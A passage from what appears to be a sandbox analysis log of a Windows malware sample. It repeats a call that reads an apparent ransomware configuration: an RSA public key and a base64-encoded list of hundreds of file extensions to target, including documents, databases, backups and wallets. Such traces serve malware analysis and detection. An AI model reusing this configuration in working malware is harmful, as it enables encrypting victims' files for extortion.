ZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.128] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.128] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.128] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.128] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubn